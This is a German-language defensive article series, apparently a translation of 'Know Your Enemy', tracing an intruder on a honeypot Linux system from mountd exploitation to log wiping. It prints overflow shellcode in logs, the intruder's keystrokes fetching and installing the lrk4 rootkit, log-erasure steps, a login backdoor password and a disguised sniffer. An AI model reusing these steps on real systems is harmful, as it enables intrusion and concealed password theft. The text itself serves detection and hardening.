Normalerweise erkennt man Buffer overflow-Attacken im /var/log/messages Logfile (oder /var/adm/messages bei anderen Unixvarianten) f�r Angriffe gegen mountd. �hnliche Eintr�ge findet man in maillog f�r Angriffe gegen den imapd. Eine solche Attacke w�rde wie folgt aussehen:

Apr 14 04:20:51 mozart mountd[6688]: Unauthorized access by NFS client 192.168.11.200. Apr 14 04:20:51 mozart syslogd: Cannot glue message parts together Apr 14 04:20:51 mozart mountd[6688]: Blocked attempt of 192.168.11.200 to mount ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P3�3��^[�~@3�3�~Kڰ^F�~@��u�1��^B�~@~E�ub�b^V<�t^F��t^K���0��~HF���^�^B~ I^F��~IF^D�^F~IF^H�f1���~I��~@~I^F�^Bf~IF^L�*f~IF^N~MF^L~IF^D1�~IF^P�^P~IF^H� f���~@�^A~IF^D�f�^D�~@�^D�L�R1�~IF^D~IF^H�f���~@~Hð?1��~@�?���~@�?���~@�.bin@~ I^F�.sh!@~IF^D1�~HF^G~Iv^H~IF^L�^K~I�~MN^H~MV^L�~@1��^A1��~@�E������Privet ADMcrew~P(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(Apr 14 04:20:51 mozart ^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^ E^H(-^E^H-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E

H(-EH-EH(-EH(-EH(-EH(-EH(-E H(-EH(-EH(-EH(-EH(-EH(-
H(-EH(-

Wenn so etwas in den Logs auftaucht, hat jemand versucht, in das System einzudringen. Es ist schwierig zu sagen, ob er erfolgreich war. Eine Methode w�re es, nach dem Angriffsversuch nachzusehen, ob von dem Quellsystem eine Verbindung zum eigenen System besteht. Wenn sie sich erfolgreich von au�en einloggen, haben sie Zugriff. Ein anderer Hinweis ist die Existenz von Accounts wie „moof“, „rewt“, „crak0“ oder „w0rm“ in /etc/passwd. Diese Accounts, mit der uid0, werden von einigen der gebr�uchlicheren Tools angelegt. Wenn der B�se erst mal zugriff hat, wird er normalerweise als erstes die Logs s�ubern und das Logging ver�ndern (syslogd), mehr Informationen dazu finden sich im dritten Teil. Von dann an wirst man keine zuverl�ssigen Logs mehr erhalten, da alles kompromittiert ist. Was man als n�chstes tut, ist Gegnstand eines anderen Artikels. Bis dahin empfehle ich die Seite http://www.cert.org/nav/recovering.html zu lesen.

Um mir beim Finden von Anomalien in meinen Logs zu helfen, habe ich folgende Shellskripte (http://www.enteract.com/~lspitz/bash.txt bzw. http://www.enteract.com/~lspitz/ksh.txt) geschrieben, die meine Logfiles scannen. F�r detailliertere Infos zum „greppen“ und Sortieren von Logfiles liest man am besten die Postings von Marcus Ranum hier nach: http://www.nfr.net/firewall-wizards/mail-archive/1997/Sep/0098.html

Schlu�folgerung

Deine Systemlogs verraten Dir ein ganze Menge �ber den Feind. Der erste Schritt mu� jedoch die Sicherstellung der Integrit�t der Logs sein. Eine der besten Methoden dazu ist die Verwendung eines zentralen Remote-Logservers der von allen Systemen Logs empf�ngt und speichert. Einmal abgesichert, kann man Muster in den Logs erkennen. Basierend auf diesen Mustern und Logeintr�gen kann man erkennen wonach der B�se sucht und welche Tools er wahrscheinlich verwendet. Aufbauend auf diesem Wissen kann man seine Systeme besser sch�tzen und sichern.

Kapitel 3

Den Feind Kennen III

Dies ist der dritte Artikel aus einer Serie, die sich auf das Script Kiddie konzentriert. Der erste Teil besch�ftigt sich damit, wie Script Kiddies Schw�chen suchen, identifizieren und ausnutzen. Der zweite Teil erkl�rt, wie man solche Versuche erkennt, die eingesetzten Tools identifiziert und erkennt, wonach gesucht wird. Dieser Teil, der dritte, konzentriert sich darauf, was passiert, wenn sie erst mal root sind und hier besonders darauf, wie sie ihre Spuren verwischen und was sie als n�chstes tun.

Wer ist das „Script Kiddie“?

ie bereits im ersten Teil erkl�rt, ist das „Script Kiddie“ nicht so sehr eine Person als vielmehr eine Strtegie: die Strategie, nach dem schnellen Erfolg zu suchen. Man sucht nicht nach speziellen Informationen oder greift eine spezielle Firma an, es geht nur darum, so einfach wie m�glich root zu werden. Eindringlinge versuchen das, indem sie sich auf eine kleine Anzahl Schw�chen beschr�nken und dann das ganze Internet danach absuchen. Dies ist nicht zu unersch�tzen, denn fr�her oder sp�ter finden sie jemand verwundbaren.

Wenn sie erstmal ein verwundbares System gefunden haben und root geworden sind, werden normalerweise als erstes die Spuren verwischt. Sie m�chten sichergehen, da� Du nicht wei�t, da� dein System gehackt wurde und da� Du ihre Aktionen nicht sehen oder loggen kanst. Danach benutzten sie dein System oft, um andere Netzwerke zu scannen oder �berwachen dein System im Stillen. Um besser zu verstehen, wie sie dieses bewerkstelligen, folgen wir einfach den Schritten auf einem System das von einem Eindringling mit Hilfe von „Script Kiddie“-Taktiken geknackt wurde. Unser System namens Mozart l�uft unter Red Hat Linux 5.1 und wurde am 27.04.1999 kompromittiert. Es folgen die tats�chlichen Schritte, die der St�renfried gemacht hat, mit den Systemlogs und Tastatureingaben um jeden Schritt nachvollziehen zu k�nnen. Alle Systemlogs wurden auf einem gesch�tzten Syslogserver abgelegt und alle Eingaben wurden mit Hilfe von sniffit (ftp://ftp.technotronic.com/unix/network-sniffers) aufgezeichnet. Mehr Informationen dar�ber, wie die Informationen gesammelt wurden stehen in „Wie baut man einen Honigtopf“ (http://www.enteract.com/~lspitz/honeypot.html). Im folgenden wird der Eindringling immer als „er“ bezeichnet, obwohl wir keine Ahnung �ber das tats�chliche Geschlecht des T�ters haben.

Der Angriff

Am 27.04. um 00:13 Uhr wurde unser Netzwerk von einem System 1Cust174.tnt2.long- branch.nj.da.uu.net auf verschiedene Schw�chen inklusive nmap gescannt. Unser Eindringling hat dabei „L�rm“ gemacht, da jedes unserer Systeme getestet wurde (mehr Informationen �ber das erkennen und analysieren solcher Scans finden sich im zweiten Teil).

Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174 
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174 
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174 

Anscheinend hat er etwas gefunden, was ihm gefallen hat, denn er kam am gleichen Tag noch um 06:52 und 16:47 Uhr zur�ck. Er begann mit einem intensiveren Test und konzentrierte sich dabei auf das System Mozart. Er fand eine Schw�che und startete einen erfolgreichen Angriff gegen mountd, eine allgemein bekannte Schwachstelle in Red Hat 5.1. Hier kann man in /var/log/messages sehen, wie der Eindringling root wurde. Das Tool, das er dazu benutzte war wahrscheinlich ADMountd.c /ftp://adm.freelsd.net/pub/ADM) oder etwas �hnliches.

Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client 

208.252.226.174.

Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together 
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to 

mount

~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P 
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~

Direkt im Anschlu� sehen wir in /var/adm/messages, wie unser Eindringling root wurde, indem er sich per Telnet als User crak0 einloggte und sich dann per su zum User rewt machte. Beide Accounts wurden durch das Angriffsskript angelegt. Jetzt hat er volle Kontrolle �ber das System.

Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 

1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying authentication module

Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user 

crak0 by (uid=0)

Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM 

1Cust102.tnt1.long-branch.nj.da.uu.net

Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt 

by crak0(uid=0)

Spuren verwischen

Der Fremde ist jetzt als root im System. Wie wir jetzt sehen werden, ist sein n�chster Schritt sicherzustellen, das er nicht erwischt wird. Als erstes pr�ft er, ob noch andere User angemeldet sind:

[crak0@mozart /tmp]$ w 
  4:48pm  up 1 day, 18:27,  1 user,  load average: 0.00, 0.00, 0.00 
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT 
crak0    ttyp0    1Cust102.tnt1.lo  4:48pm  0.00s  0.23s  0.04s  w

Nachdem er festgestellt hat, da� er allein ist, wird alle seine Taten unsichtbar machen wollen. Das bedeutet normalerweise, das er alle Beweise aus den Logfiles l�scht und Systemdateien wie ps oder netstat durch Trojanische Pferde ersetzt, so da� man ihn im System nicht erkennen kann. Sind die Trojaner erst einmal installiert, hat er die totale Kontrolle �ber das System und Du wirst es sehr wahrscheinlich niemals herausbekommen. Genauso, wie es Skripte zum automatisiertem Hacken gibt, gibt es auch Skripte zum automatischen verstecken von Eindringlingen, oft rootkits genannt. Eines der gebr�uchlicheren ist lrk4 (ftp://ftp.technotronic.com/unix/trojans). Durch das Ausf�hren des Skripts werden eine Reihe kritischer Dateien ersetzt und tarnen den User in wenigen Sekunden. Mehr Informationen �ber rootkits finden sich im Readme von lrk4. Dadurch bekommt man eine bessere Vorstellung wie diese rootkits im allgemeinen funktionieren. Ich w�rde auch empfehlen, hide-and-seek (http://www.enteract.com/~lspitz/hide-n-seek.html) zu lesen, ein Text �ber das Spuren verwischen, geschrieben von den B�sen.

Innerhalb weniger Minuten, nachdem das System kompromittiert war, konnte man beobachten, wie der Eindringling das rootkit herunterlud und mit „make install“ implementierte. Es folgen seine tats�chlichen Tastatureingaben um sich unsichtbar zu machen:

cd /dev/ 
su rewt 
mkdir ". " 
cd ". " 
ftp technotronic.com 
anonymous 
fdfsfdsdfssd@aol.com 
cd /unix/trojans 
get lrk4.unshad.tar.gz 
quit 
ls 
tar -zxvf lrk4.unshad.tar.gz 
mv lrk4 proc 
mv proc ". " 
cd ". " 
ls 
make install

Beachte, da� er als erstes ein verstecktes Verzeichnis „.“ erzeugt, um darin sein rootkit zu verstecken. Dieses Verzeichnis taucht beim „ls“ Befehl nicht auf und sieht bei einem „ls -la“ wie das lokale Verzeichnis aus. Eine M�glichkeit dieses Verzeichnis zu finden ist das „find“ Kommando (stelle sicher, da� Du der Integrit�t deiner „find“ Datei vertrauen kannst):

mozart #find / -depth -name "*.*" 
/var/lib/news/.news.daily 
/var/spool/at/.SEQ 
/dev/. /. /procps-1.01/proc/.depend 
/dev/. /. 
/dev/.

Unser St�renfried mag ja gut im Umgang mit Trojanern sein, aber sein Ansatz um die Logdateien zu s�ubern, war etwas einfacher gestrickt. Anstatt Tools wie zap2 oder clean zu nutzen, kopierte er einfach /dev/null in die Dateien /var/run/utmp und /var/log/utmp und l�schte /var/log/wtmp. Man ahnt, da� etwas faul ist, wenn diese Dateien leer sind oder man den folgenden Fehler bekommt:

[root@mozart sbin]# last -10 
last: /var/log/wtmp: No such file or directory 
Perhaps this file was removed by the operator to prevent logging last 

info.

Der n�chste Schritt

Wenn Eindringlinge erst einmal ein System kompromittiert haben, neigen sie dazu, eines von zwei Dingen zu tun. Entweder sie benutzen das System dazu, andere Rechner im Internet zu scannen oder sie machen es sich gem�tlich und sehen zu, was sie �ber Dein System lernen k�nnen, z.B. Accounts oder Passw�rter f�r andere Systeme. Unser Eindringling entschied sich f�r die zweite Variante: zur�cklehnen und sehen, was man lernen kann. Er installierte einen Sniffer, der unseren gesamten Netzwerkverkehr abfing, inklusive der Telnet und ftp Verbindungen zu anderen Systemen. Auf diese Weise konnte er Logins und Passw�rter in Erfahrung bringen. In /var/log/messages sehen wir, wie das System kurz nach dem Einbruch in den „promiscuous mode“ geht:

Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode. 
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode. 

Nachdem er seine Trojaner-Binaries installiert, die Logs ges�ubert und den Sniffer gestartet hatte, trennte der Eindringling die Verbindung. Wir werden ihn jedoch am n�chsten wiederkehren sehen, um herauszufinden, was f�r Verkehr er aufgefangen hatte.

Schadensbegrenzung

Da unser Freund die Verbindung gekappt hatte, bekam ich die M�glichkeit das System zu pr�fen und herauszufinden was genau geschehen war. Ich war sehr daran interessiert herauszufinden, was ver�ndert worden war und wo er die Informationen, die der Sniffer sammelte, ablegte. Zuerst fand ich mit Hilfe von tripwire (ftp://coast.cs.purdue.edu/pub/COAST/Tripwire) schnell heraus, welche Dateien modifiziert waren. Anmerkung: stelle sicher, das tripwire von der sicheren Quelle gestartet wird. Ich lasse gerne eine statisch gelinkte Version von einer Floppy mit Schreibschutz laufen. Tripwire zeigte folgendes:

added:   -rw-r--r-- root            5 Apr 27 17:01:16 1999 

/usr/sbin/sniff.pid

added:   -rw-r--r-- root          272 Apr 27 17:18:09 1999 

/usr/sbin/tcp.log

changed: -rws--x--x root        15588 Jun  1 05:49:22 1998 /bin/login 
changed: drwxr-xr-x root        20480 Apr 10 14:44:37 1999 /usr/bin 
changed: -rwxr-xr-x root        52984 Jun 10 04:49:22 1998 /usr/bin/find 
changed: -r-sr-sr-x root       126600 Apr 27 11:29:18 1998 /usr/bin/passwd 
changed: -r-xr-xr-x root        47604 Jun  3 16:31:57 1998 /usr/bin/top 
changed: -r-xr-xr-x root         9712 May  1 01:04:46 1998 

/usr/bin/killall

changed: -rws--s--x root       116352 Jun  1 20:25:47 1998 /usr/bin/chfn 
changed: -rws--s--x root       115828 Jun  1 20:25:47 1998 /usr/bin/chsh 
changed: drwxr-xr-x root         4096 Apr 27 17:01:16 1999 /usr/sbin 
changed: -rwxr-xr-x root       137820 Jun  5 09:35:06 1998 /usr/sbin/inetd 
changed: -rwxr-xr-x root         7229 Nov 26 00:02:19 1998 

/usr/sbin/rpc.nfsd

changed: -rwxr-xr-x root       170460 Apr 24 00:02:19 1998 

/usr/sbin/in.rshd

changed: -rwxr-x--- root       235516 Apr  4 22:11:56 1999 

/usr/sbin/syslogd

changed: -rwxr-xr-x root        14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd 
changed: drwxr-xr-x root         2048 Apr  4 16:52:55 1999 /sbin 
changed: -rwxr-xr-x root        19840 Jul  9 17:56:10 1998 /sbin/ifconfig 
changed: -rw-r--r-- root          649 Apr 27 16:59:54 1999 /etc/passwd

Wie man sehen kann wurde eine Vielzahl von Dateien un Binaries modifiziert. Es gab keine neuen Eintr�ge in der /etc/passwd (schlauerweise hatte er den crak0 und rewt Eintrag wieder gel�scht), also mu�te er in einer der modifizierten Binaries eine Hintert�r offen gelassen haben. Au�erdem waren zwei Dateien hinzugef�gt worden, /usr/sbin/sniff.pid und /usr/sbin/tcp.log. Nicht ganz �berraschend war /usr/sbin/sniff.pid die pid des Sniffers und /usr/sbin/tcp.log war die Datei in der er alle gesammelten Informationen ablegt. Ausgehend von /usr/sbin/sniff.pid stellte sich heraus, das rpc.nfsd der Sniffer war. Unser Eindringling hatte einen Sniffer kompiliert, in diesem Fall linsniffer, und rpc.nfsd damit ersetzt. Das stellte sicher, das auch nach einem reboot der Sniffer durch den init-Proze� gestartet wurde. Folgendes best�tigt, das rpc.nfsd der Sniffer ist:

mozart #strings /usr/sbin/rpc.nfsd | tail -15 
cant get SOCK_PACKET socket 
cant get flags 
cant set promiscuous mode 
----- [CAPLEN Exceeded] 
----- [Timed Out] 
----- [RST] 
----- [FIN] 
%s => 
%s [%d] 
sniff.pid 
eth0 
tcp.log 
cant open log 
rm %s 

Nachdem ich mein System untersucht und verstanden hatte, was vorgegangen war, lie� ich es alleine. Ich war neugierig, was seine n�chsten Schritte sein w�rden. Ich wollte nicht, da� er wu�te, da� ich ihn erwischt hatte, deshalb l�schte ich alle meine Spuren aus /usr/sbin/tcp.log.

Die R�ckkehr des Script Kiddies

Am n�chsten Tag kam unser Freund wieder. Durch loggen seiner Tastatureingaben fand ich schnell die Hintert�r: /bin/login war ein Trojaner. Diese Binary, die f�r Telnetsitzungen verwendet wird, war so konfiguriert, das der Account „rewt“ mit dem Passwort „satori“ root Rechte erhielt. „satori“ ist das Standardpasswort f�r alle Trojaner, die von lrk4 installiert werden, ein sicheres Erkennungszeichen, da� Dein System kompromittiert sein k�nnte.

Der Eindringling pr�fte, ob der Sniffer noch funktionierte. Au�erdem wollte er wissen, ob irgendwelche Accounts seit dem vorherigen Tag abgefangen wurden. Hier seine Eingaben:

Red Hat Linux release 5.1 (Manhattan)
Kernel 2.0.35 on an i586
mozart login: rewt
Password: 
[root@mozart /root]# w
  4:11pm  up 17:39,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
[root@mozart /root]# ps aux
USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND
bin        250  0.0  1.1   776   352  ?  S   03:32   0:00 portmap 
daemon     228  0.0  1.3   796   416  ?  S   03:32   0:00 /usr/sbin/atd 
root         1  0.0  1.4   792   432  ?  S   03:31   0:03 init [3] 
root         2  0.0  0.0     0     0  ?  SW  03:31   0:00 (kflushd)
root         3  0.0  0.0     0     0  ?  SW< 03:31   0:00 (kswapd)
root         4  0.0  0.0     0     0  ?  SW  03:31   0:00 (md_thread)
root         5  0.0  0.0     0     0  ?  SW  03:31   0:00 (md_thread)
root        36  0.0  1.1   752   364  ?  S   03:32   0:00 /sbin/kerneld 
root        61  0.0  2.2  1196   688  ?  S   03:32   0:00 bash 

/etc/rc.d/rc 3

root       208  0.0  0.4   268   152  ?  S   03:32   0:00 syslogd 
root       217  0.0  1.7   928   548  ?  S   03:32   0:00 klogd 
root       239  0.0  1.5   864   488  ?  S   03:32   0:00 crond 
root       261  0.0  2.5  1252   776  ?  S   03:32   0:00 /usr/sbin/snmpd 

-f

root       273  0.0  0.4   168   140  ?  S   03:32   0:00 inetd 
root       284  0.0  2.0  1000   620  ?  S   03:32   0:00 named 
root       297  0.0  2.2  1192   684  ?  S   03:32   0:00 sh 

/etc/rc.d/rc3.d/S6

root       306  0.0  1.6   852   504  ?  S   03:32   0:00 rpc.mountd 
root       314  0.0  1.3   876   404  ?  S   03:32   0:00 rpc.nfsd 
root       599  0.4  2.2  1240   696  ?  S   21:11   0:00 in.telnetd 
root       600  1.3  2.5  1184   772  p0 S   21:11   0:00 -bash 
root       614  0.0  1.2   920   400  p0 R   21:11   0:00 ps aux 
[root@mozart /root]# cd /usr/sbin
[root@mozart sbin]# ls
ClockProg             innd                  sendfax
SVGATextMode          inndstart             sendmail
accton                ipop2d                set80
adduser               ipop3d                setVGAreg
am-eject              kbdconfig             setclock
amd                   klogd                 setconsole
amq                   logrotate             setpalette
apmd                  lpc                   setup
atd                   lpd                   showmount
atrun                 lpf                   sliplogin
automount             makewhatis            smbd
bootpd                mk-amd-map            smbmount
bootpef               mkdict                smbumount
bootptest             mkpasswd              sndconfig
callback              mouseconfig           sniff.pid
chat                  named                 snmpd
chpasswd              named-xfer            snmptrapd
chroot                named.reload          squid
clockprobe            named.restart         squid.novm
create-cracklib-dict  ncpserv               stm
crond                 ndc                   stm-menu
ctlinnd               newusers              strfile
dbmmanage             nmbd                  swapdev
dhcpd                 ntpdate               syslogd
dhcrelay              ntpq                  tcp.log
dip                   ntptrace              tcpd
diplogin              ntsysv                tcpdchk
dump-acct             nwbind                tcpdmatch
dump-utmp             nwclient              tcpdump
edquota               nwconn                tickadj
exportfs              nwserv                timeconfig
faxrunqd              pac                   timed
fixmount              packer                timedc
fsinfo                pmap_dump             tmpwatch
fuser                 pmap_set              traceroute
gated                 portmap               try-from
getVGAreg             pppd                  tunelp
getpalette            pppstats              unstr
grabmode              pwck                  useradd
groupadd              pwconv                userdel
groupdel              pwunconv              userhelper
groupmod              quotastats            usermod
grpck                 ramsize               usernetctl
grpconv               rdev                  uuchk
grpunconv             rdistd                uucico
hlfsd                 readprofile           uuconv
htdigest              repquota              uusched
htpasswd              rhbackup              uuxqt
httpd                 rmt                   vidmode
huntd                 rootflags             vipw
imapd                 routed                warnquota
in.comsat             rpc.bootparamd        wire-test
in.fingerd            rpc.mountd            wsmbconf
in.ftpd               rpc.nfsd              xferstats
in.identd             rpc.rquotad           xntpd
in.nnrpd              rpc.rusersd           xntpdc
in.ntalkd             rpc.rwalld            ypbind
in.rexecd             rpc.yppasswdd         yppoll
in.rlogind            rpc.ypxfrd            yppush
in.rshd               rpcinfo               ypserv
in.talkd              rwhod                 ypset
in.telnetd            sa                    zdump
in.tftpd              safe_finger           zic
in.timed              samba
inetd                 sbpnpprobe
[root@mozart sbin]# paste tcp.log

1Cust118.tnt1.long-branch.nj.da.uu.net => mozart [23]
 #'vt1002!rewt
satori
last -210110
cd /log
ls
/cd /var/log
ls

----- [Timed Out]

router => mozart [23]
 !"'#o% 38400,38400'VT100root
fergit
ls
cat /etc/hosts

----- [Timed Out]
Exiting...
[root@mozart sbin]# w
  4:11pm  up 17:39,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
[root@mozart sbin]# cat /etc/hosts
127.0.0.1               localhost localhost.localdomain
172.20.1.130            mozart mozart
172.20.1.1      router
[root@mozart sbin]# uname -a
Linux mozart 2.0.35 #1 Tue Jul 14 23:56:39 EDT 1998 i586 unknown
[root@mozart sbin]# netstat -r
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt 

Iface

172.20.1.0      *               255.255.255.0   U      1500 0          0 

eth0

127.0.0.0       *               255.0.0.0       U      3584 0          0 

lo

default         router          0.0.0.0         UG     1500 0          0 

eth0

[root@mozart sbin]# netstat -rs
netstat: illegal option -- s
usage: netstat [-veenNcCF] [<Af>] -r         netstat {-V|--version|-h|--

help}

       netstat [-vnNcaeo] [<Socket>]
       netstat { [-veenNac] -i | [-vnNc] -L | [-cnNe] -M }

      	-r, --route              display routing table
        -L, --netlink            display netlink kernel messages
        -i, --interfaces         display interface table
        -M, --masquerade         display masqueraded connections

        -v, --verbose            be verbose
        -n, --numeric            dont resolve names
        -e, --extend             display other/more informations
        -c, --continuous         continuous listing

        -a, --all, --listening   display all
        -o, --timers             display timers

<Socket>={-t|--tcp} {-u|--udp} {-w|--raw} {-x|--unix} --ax25 --ipx --

netrom

<Af>= -A {inet|ipx|netrom|ddp|ax25},... --inet --ipx --netrom --ddp --ax25
[root@mozart sbin]#ls
ClockProg             innd                  sendfax
SVGATextMode          inndstart             sendmail
accton                ipop2d                set80
adduser               ipop3d                setVGAreg
am-eject              kbdconfig             setclock
amd                   klogd                 setconsole
amq                   logrotate             setpalette
apmd                  lpc                   setup
<SCHNIPP, den Rest habe ich gek�rzt JB>
[root@mozart sbin]# rpc.nfsd
��[root@mozart sbin]# ps aux
USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND
bin        250  0.0  1.1   776   352  ?  S   03:32   0:00 portmap 
daemon     228  0.0  1.3   796   416  ?  S   03:32   0:00 /usr/sbin/atd 
root         1  0.0  1.4   792   432  ?  S   03:31   0:03 init [3] 
root         2  0.0  0.0     0     0  ?  SW  03:31   0:00 (kflushd)
root         3  0.0  0.0     0     0  ?  SW< 03:31   0:00 (kswapd)
root         4  0.0  0.0     0     0  ?  SW  03:31   0:00 (md_thread)
root         5  0.0  0.0     0     0  ?  SW  03:31   0:00 (md_thread)
root        36  0.0  1.1   752   364  ?  S   03:32   0:00 /sbin/kerneld 
root        61  0.0  2.2  1196   688  ?  S   03:32   0:00 bash 

/etc/rc.d/rc 3

root       208  0.0  0.4   268   152  ?  S   03:32   0:00 syslogd 
root       217  0.0  1.7   928   548  ?  S   03:32   0:00 klogd 
root       239  0.0  1.5   864   488  ?  S   03:32   0:00 crond 
root       261  0.0  2.5  1252   776  ?  S   03:32   0:00 /usr/sbin/snmpd 

-f

root       273  0.0  0.4   168   140  ?  S   03:32   0:00 inetd 
root       284  0.0  2.0  1000   620  ?  S   03:32   0:00 named 
root       297  0.0  2.2  1192   684  ?  S   03:32   0:00 sh 

/etc/rc.d/rc3.d/S6

root       306  0.0  1.6   852   504  ?  S   03:32   0:00 rpc.mountd 
root       314  0.0  1.3   876   404  ?  S   03:32   0:00 rpc.nfsd 
root       599  0.0  2.2  1240   696  ?  S   21:11   0:00 in.telnetd 
root       600  0.1  2.5  1184   772  p0 S   21:11   0:00 -bash 
root       626  0.0  1.2   920   400  p0 R   21:12   0:00 ps aux 
[root@mozart sbin]# rm tcp.log
rm: remove `tcp.log'? y
[root@mozart sbin]# kill -9 314
[root@mozart sbin]# rm rpc.nfsd

Beachte, das er ganz zum Schlu� den Sniffer stoppt. Das war das letzte, was er vor der Beendigung der Sitzung tat. Er kam jedoch schnell zur�ck, nur um den Sniffer neu zu starten. Ich bin mir nicht ganz sicher, warum er das getan hat.

Dieser Vorgang des Systemchecks wiederholte sich f�r einige Tage. Jeden Tag kam der Eindringling zur�ck, um zu pr�fen, ob der Sniffer noch lief und ob er irgendwelche wertvollen Daten gesammelt hatte. Nach dem vierten Tag beschlo� ich, da� es nun genug sei und trennte das System. Ich hatte genug von dem Eindringling gelernt und schien nichts neues mehr lernen zu k�nnen.

Schlu�folgerung

Wir haben hier von Anfang bis Ende gesehen, wie sich ein Eindringling benehmen k�nnte, sobald sie erst mal root sind. Sie fangen oft damit an, zu pr�fen ob irgendjemand auf dem System ist. Wenn sie erst mal wissen, da� sie allein sind, verwischen sie ihre Spuren, indem sie Logfiles s�ubern und wichtige Dateien ver�ndern bzw. modifizieren. Wenn sie erst mal sicher versteckt sind starten sie neue und sch�dlichere Aktivit�ten. Um sich besser gegen diese Bedrohung zu sch�tzen, empfehle ich seine Systeme zu sichern (panzern). Grundlegender Schutz reicht f�r die meisten Script Kiddies da sie nach dem leichten Opfer suchen. Eine Vorstellung davon, wie man sein System sichert (panzert), bekommt man bei http://www.enteract.com/~lspitz/linux.html bzw. http://www.enteract.com/~lspitz/solaris.html. Wenn es zu sp�t ist und Dein System schon kompromittiert wurde, kann man hier nachlesen http://www.cert.org/nav/recovering.html